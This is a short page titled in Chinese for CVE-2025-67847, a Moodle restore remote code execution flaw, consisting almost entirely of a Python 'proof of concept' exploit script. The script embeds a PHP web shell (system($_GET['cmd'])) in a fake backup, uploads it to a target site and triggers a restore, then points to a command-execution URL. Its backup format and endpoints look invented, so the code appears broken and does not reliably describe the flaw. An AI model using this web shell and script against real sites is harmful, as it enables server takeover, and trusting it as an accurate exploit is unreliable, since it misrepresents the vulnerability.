CVE-2025-67847: Moodle恢复功能远程代码执行漏洞

# CVE-2025-67847 Moodle Restore RCE PoC # Note: This is a conceptual PoC for educational purposes only import requests import base64 import json TARGET_URL = "https://vulnerable-moodle-site.com" ATTACKER_TOKEN = "your_auth_token" def create_malicious_backup(): """Create a malicious backup file with embedded payload""" # Malicious PHP payload encoded in the backup payload = "<?php system($_GET['cmd']); ?>" # Construct malicious backup structure malicious_backup = { "backup_version": "3.11", "moodle_version": "2021051700", "backup_details": { "course_id": 1, "include_files": True, "include_user_data": True }, "injected_payload": base64.b64encode(payload.encode()).decode(), "restore_settings": { "overwrite_conflict": True, "delete_extra_files": False } } return json.dumps(malicious_backup) def exploit_restore_rce(): """Exploit the restore functionality to achieve RCE""" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Upload malicious backup file upload_url = f"{TARGET_URL}/backup/upload.php" malicious_backup = create_malicious_backup() upload_response = requests.post( upload_url, headers=headers, files={"backup_file": ("malicious_backup.mbz", malicious_backup)} ) if upload_response.status_code == 200: backup_id = upload_response.json().get("backup_id") # Trigger restore with malicious backup restore_url = f"{TARGET_URL}/backup/restore.php" restore_data = { "backup_id": backup_id, "target_course": 1, "restore_as_new_course": True } restore_response = requests.post( restore_url, headers=headers, json=restore_data ) print(f"Exploit sent. Check for RCE at: {TARGET_URL}/file.php?cmd=whoami") return restore_response.status_code == 200 return False if __name__ == "__main__": print("CVE-2025-67847 Moodle Restore RCE Exploit") print("Target: " + TARGET_URL) result = exploit_restore_rce() print(f"Exploitation {'successful' if result else 'failed'}")